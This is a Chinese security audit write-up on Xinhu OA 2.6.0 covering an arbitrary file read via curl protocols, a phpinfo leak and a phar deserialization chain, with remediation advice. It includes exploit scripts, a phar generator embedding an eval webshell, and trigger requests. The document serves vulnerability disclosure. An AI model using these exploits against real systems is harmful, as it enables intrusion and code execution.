信呼OA 2.6.0 半年前的一次审计
字数 965 2025-08-03 16:49:08

信呼OA 2.6.0 安全审计报告

环境搭建

  1. 系统要求

    • 信呼OA 2.6.0版本
    • PHP 7.3.4环境
    • 使用phpstudy搭建
  2. 调试配置

    • 在php.ini中添加XDebug配置:
    [XDebug]
    zend_extension="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\php7.3.4nts\ext\php_xdebug.dll"
    xdebug.profiler_output_dir ="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\tmp\xdebug"
    xdebug.trace_output_dir="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\tmp"
    xdebug.auto_trace=1
    xdebug.profiler_append=0
    xdebug.profiler_enable=1
    xdebug.profiler_enable_trigger=0
    xdebug.remote_enable=1
    xdebug.remote_handler="dbgp"
    xdebug.remote_host="127.0.0.1"
    xdebug.remote_port=9001
    xdebug.remote_mode="req"
    xdebug.remote_autostart=1
    xdebug.idekey=PHPSTORM
    xdebug.remote_cookie_expire_time=36000
    
  3. Apache配置

    ErrorDocument 510 /error/510.html
    KeepAliveTimeout 5
    MaxKeepAliveRequests 100
    Timeout 36000
    FcgidIOTimeout 36000
    FcgidIdleTimeout 36000
    IPCConnectTimeout 36000
    IPCCommTimeout 36000
    

漏洞分析

1. 文件读取漏洞

漏洞路径

  • index.phpview.phpasynrunAction.phpreimModel.phpcurlChajian.php

漏洞原理

  1. asynrunAction.php中的downwxpicAction函数调用downximg函数
  2. picurl参数经过uncrypts函数解密
  3. 通过m函数调用webmain/model下的文件
  4. reimModel.php中的downximg函数使用c函数调用curlChajian.phpgetcurl函数
  5. getcurl函数支持多种协议(http、dict、file、gopher)
  6. 存在条件竞争漏洞,可通过大量请求访问临时文件

利用步骤

  1. 构造URL:
    http://192.168.0.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&asynkey=918b1e2c90b72136d2d863c02b602726
    
  2. 加密picurl参数(使用提供的Python脚本)
  3. 多线程访问触发条件竞争

加密脚本

import base64

a = "fdvzsakhgprcoxwuitjlbqynem"
b = {}
count = -1
for i in a:
    count = count + 1
    b[i] = count
print(b)

payload = "file:///D:/1.txt" 

for z in payload:
    flag = False
    for i in b.keys():
        for j in b.keys():
            c = str(b[i]) + str(b[j])
            if chr(int(c)) == z:
                print(str(i) + ":" + str(j) + " 字母:" + z)
                payload_encode += (str(i) + str(j)) + "0"
                flag = True
                break
        if flag:
            break

2. 后台信息泄露

漏洞路径

http://192.168.162.249:8044/index.php?m=index&a=phpinfo&ajaxbool=false

影响

  • 直接暴露phpinfo信息

3. 反序列化漏洞

漏洞路径

  • coginiAction.phpphpinisaveAction函数
  • mysql.phpmysql类中的__destruct()函数

利用链

  1. 通过file_exists函数触发phar反序列化
  2. mysql类的__destruct()方法可控
  3. 通过rockClass类的createtxt函数实现文件名截断

利用步骤

  1. 生成phar文件:

    <?php
    abstract class mysql{
        public $rock;
        public function __construct($set_rock) {
            $this->rock = $set_rock;
            $this->sqlarr = ["a", "b"];
        }
    }
    
    final class rockClass{
        public $adminid;
        public $now;
        public function __construct($set_adminid, $set_now) {
            $this->adminid = $set_adminid;
            $this->now = $set_now;
        }
    }
    
    $path = "1.php:";
    $now = "\n<?php phpinfo(); ?>\n";
    
    class mysqliClass extends mysql{}
    
    $payload = new mysqliClass(new rockClass($path, $now));
    
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($payload);
    $phar->addFromString("test.php", "<?php @eval(\$_GET[v]);?>");
    $phar->stopBuffering();
    
  2. 上传phar文件(修改为jpg后缀)

  3. 触发反序列化:

    POST http://192.168.105.249:8044/index.php?d=system&m=cogini&a=phpinisave&ajaxbool=false
    path=phar://D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\ccc.com\xinhu-master\upload\2023-12\14_15164671.jpg\test.php
    

修复建议

  1. 文件读取漏洞

    • 限制picurl参数的内容和协议
    • 加强文件操作的安全检查
    • 修复条件竞争问题
  2. 信息泄露

    • 移除或限制phpinfo功能
    • 加强权限控制
  3. 反序列化漏洞

    • 禁用不必要的反序列化操作
    • 对输入参数进行严格过滤
    • 更新phar文件处理逻辑
  4. 通用建议

    • 更新到最新版本
    • 加强输入验证和过滤
    • 实施最小权限原则
    • 定期进行安全审计
信呼OA 2.6.0 安全审计报告 环境搭建 系统要求 : 信呼OA 2.6.0版本 PHP 7.3.4环境 使用phpstudy搭建 调试配置 : 在php.ini中添加XDebug配置: Apache配置 : 漏洞分析 1. 文件读取漏洞 漏洞路径 : index.php → view.php → asynrunAction.php → reimModel.php → curlChajian.php 漏洞原理 : asynrunAction.php 中的 downwxpicAction 函数调用 downximg 函数 picurl 参数经过 uncrypts 函数解密 通过 m 函数调用 webmain/model 下的文件 reimModel.php 中的 downximg 函数使用 c 函数调用 curlChajian.php 的 getcurl 函数 getcurl 函数支持多种协议(http、dict、file、gopher) 存在条件竞争漏洞,可通过大量请求访问临时文件 利用步骤 : 构造URL: 加密 picurl 参数(使用提供的Python脚本) 多线程访问触发条件竞争 加密脚本 : 2. 后台信息泄露 漏洞路径 : 影响 : 直接暴露phpinfo信息 3. 反序列化漏洞 漏洞路径 : coginiAction.php 的 phpinisaveAction 函数 mysql.php 的 mysql 类中的 __destruct() 函数 利用链 : 通过 file_exists 函数触发phar反序列化 mysql 类的 __destruct() 方法可控 通过 rockClass 类的 createtxt 函数实现文件名截断 利用步骤 : 生成phar文件: 上传phar文件(修改为jpg后缀) 触发反序列化: 修复建议 文件读取漏洞 : 限制 picurl 参数的内容和协议 加强文件操作的安全检查 修复条件竞争问题 信息泄露 : 移除或限制 phpinfo 功能 加强权限控制 反序列化漏洞 : 禁用不必要的反序列化操作 对输入参数进行严格过滤 更新phar文件处理逻辑 通用建议 : 更新到最新版本 加强输入验证和过滤 实施最小权限原则 定期进行安全审计